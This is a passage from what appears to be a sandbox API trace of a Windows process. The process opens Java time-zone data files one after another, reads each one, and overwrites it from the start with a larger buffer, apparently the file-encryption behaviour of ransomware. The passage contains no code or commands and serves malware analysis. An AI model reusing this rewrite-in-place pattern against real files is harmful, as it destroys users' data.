lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xb9 [0045.436] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.436] ReleaseMutex (hMutex=0x128) returned 1 [0045.436] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lima", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0045.436] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lima", cchWideChar=4, lpMultiByteStr=0x1e6a9fc, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lima", lpUsedDefaultChar=0x0) returned 4 [0045.436] ReadFile (in: hFile=0x1c4, lpBuffer=0x2602fd8, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2602fd8*, lpNumberOfBytesRead=0x2c0f2bc*=0xb9, lpOverlapped=0x0) returned 1 [0045.437] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.437] WriteFile (in: hFile=0x1c4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x641, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x641, lpOverlapped=0x0) returned 1 [0045.437] CloseHandle (hObject=0x1c4) returned 1 [0045.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Metlakatla" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\metlakatla"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.438] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.438] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x149 [0045.438] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.438] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.438] ReleaseMutex (hMutex=0x128) returned 1 [0045.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Metlakatla", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Metlakatla", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Metlakatla", lpUsedDefaultChar=0x0) returned 10 [0045.438] ReadFile (in: hFile=0x1c4, lpBuffer=0x253c138, nNumberOfBytesToRead=0x149, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x2c0f2bc*=0x149, lpOverlapped=0x0) returned 1 [0045.439] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.439] WriteFile (in: hFile=0x1c4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d1, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6d1, lpOverlapped=0x0) returned 1 [0045.439] CloseHandle (hObject=0x1c4) returned 1 [0045.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nipigon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\nipigon"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.440] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.440] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x478 [0045.440] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.441] ReleaseMutex (hMutex=0x128) returned 1 [0045.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nipigon", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nipigon", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nipigon", lpUsedDefaultChar=0x0) returned 7 [0045.441] ReadFile (in: hFile=0x1c4, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x478, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2c0f2bc*=0x478, lpOverlapped=0x0) returned 1 [0045.442] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.442] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa00, lpOverlapped=0x0) returned 1 [0045.442] CloseHandle (hObject=0x1c4) returned 1 [0045.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Phoenix" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.443] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.443] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x8d [0045.443] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.443] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.443] ReleaseMutex (hMutex=0x128) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Phoenix", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Phoenix", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Phoenix", lpUsedDefaultChar=0x0) returned 7 [0045.443] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e5dad8, nNumberOfBytesToRead=0x8d, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e5dad8*, lpNumberOfBytesRead=0x2c0f2bc*=0x8d, lpOverlapped=0x0) returned 1 [0045.444] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.444] WriteFile (in: hFile=0x1c4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x615, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x615, lpOverlapped=0x0) returned 1 [0045.444] CloseHandle (hObject=0x1c4) returned 1 [0045.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rio_Branco" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\rio_branco"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.445] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.445] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x131 [0045.445] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.445] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.445] ReleaseMutex (hMutex=0x128) returned 1 [0045.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rio_Branco", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rio_Branco", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rio_Branco", lpUsedDefaultChar=0x0) returned 10 [0045.446] ReadFile (in: hFile=0x1c4, lpBuffer=0x262fc38, nNumberOfBytesToRead=0x131, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262fc38*, lpNumberOfBytesRead=0x2c0f2bc*=0x131, lpOverlapped=0x0) returned 1 [0045.446] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.446] WriteFile (in: hFile=0x1c4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6b9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2c0f2d0*=0x6b9, lpOverlapped=0x0) returned 1 [0045.447] CloseHandle (hObject=0x1c4) returned 1 [0045.447] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Lucia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_lucia"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.447] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.447] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x41 [0045.447] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.447] ReleaseMutex (hMutex=0x128) returned 1 [0045.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Lucia", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0045.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Lucia", cchWideChar=8, lpMultiByteStr=0x1e6326c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="St_Lucia", lpUsedDefaultChar=0x0) returned 8 [0045.447] ReadFile (in: hFile=0x1c4, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2c0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0045.448] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.448] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0045.448] CloseHandle (hObject=0x1c4) returned 1 [0045.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Vancouver" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\vancouver"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.450] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.450] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x638 [0045.450] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.450] ReleaseMutex (hMutex=0x128) returned 1 [0045.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vancouver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vancouver", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vancouver", lpUsedDefaultChar=0x0) returned 9 [0045.450] ReadFile (in: hFile=0x1c4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2c0f2bc*=0x638, lpOverlapped=0x0) returned 1 [0045.451] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.451] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f2d0*=0xbc0, lpOverlapped=0x0) returned 1 [0045.452] CloseHandle (hObject=0x1c4) returned 1 [0045.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\mcmurdo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.453] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.454] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x464 [0045.454] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.454] ReleaseMutex (hMutex=0x128) returned 1 [0045.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="McMurdo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="McMurdo", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="McMurdo", lpUsedDefaultChar=0x0) returned 7 [0045.454] ReadFile (in: hFile=0x1c4, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x464, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2c0f2bc*=0x464, lpOverlapped=0x0) returned 1 [0045.455] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.455] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x9ec, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x9ec, lpOverlapped=0x0) returned 1 [0045.455] CloseHandle (hObject=0x1c4) returned 1 [0045.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtobe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\aqtobe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.457] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.458] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1c5 [0045.458] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.458] ReleaseMutex (hMutex=0x128) returned 1 [0045.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Aqtobe", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Aqtobe", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Aqtobe", lpUsedDefaultChar=0x0) returned 6 [0045.458] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1c5, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2c0f2bc*=0x1c5, lpOverlapped=0x0) returned 1 [0045.459] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.459] WriteFile (in: hFile=0x1c4, lpBuffer=0x276ab08*, nNumberOfBytesToWrite=0x74d, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276ab08*, lpNumberOfBytesWritten=0x2c0f2d0*=0x74d, lpOverlapped=0x0) returned 1 [0045.459] CloseHandle (hObject=0x1c4) returned 1 [0045.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Chongqing" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\chongqing"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.460] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.460] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xb5 [0045.460] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.460] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.460] ReleaseMutex (hMutex=0x128) returned 1 [0045.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chongqing", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chongqing", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chongqing", lpUsedDefaultChar=0x0) returned 9 [0045.460] ReadFile (in: hFile=0x1c4, lpBuffer=0x2602fd8, nNumberOfBytesToRead=0xb5, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2602fd8*, lpNumberOfBytesRead=0x2c0f2bc*=0xb5, lpOverlapped=0x0) returned 1 [0045.461] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.461] WriteFile (in: hFile=0x1c4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63d, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2c0f2d0*=0x63d, lpOverlapped=0x0) returned 1 [0045.461] CloseHandle (hObject=0x1c4) returned 1 [0045.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hong_Kong" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\hong_kong"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.462] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.463] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x269 [0045.463] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0045.463] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.463] ReleaseMutex (hMutex=0x128) returned 1 [0045.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hong_Kong", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hong_Kong", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hong_Kong", lpUsedDefaultChar=0x0) returned 9 [0045.463] ReadFile (in: hFile=0x1c4, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2c0f2bc*=0x269, lpOverlapped=0x0) returned 1 [0045.932] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0045.932] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7f1, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2c0f2d0*=0x7f1, lpOverlapped=0x0) returned 1 [0045.932] CloseHandle (hObject=0x1c4) returned 1 [0045.933] CreateFileW (lpFileName="C:\\Program Files 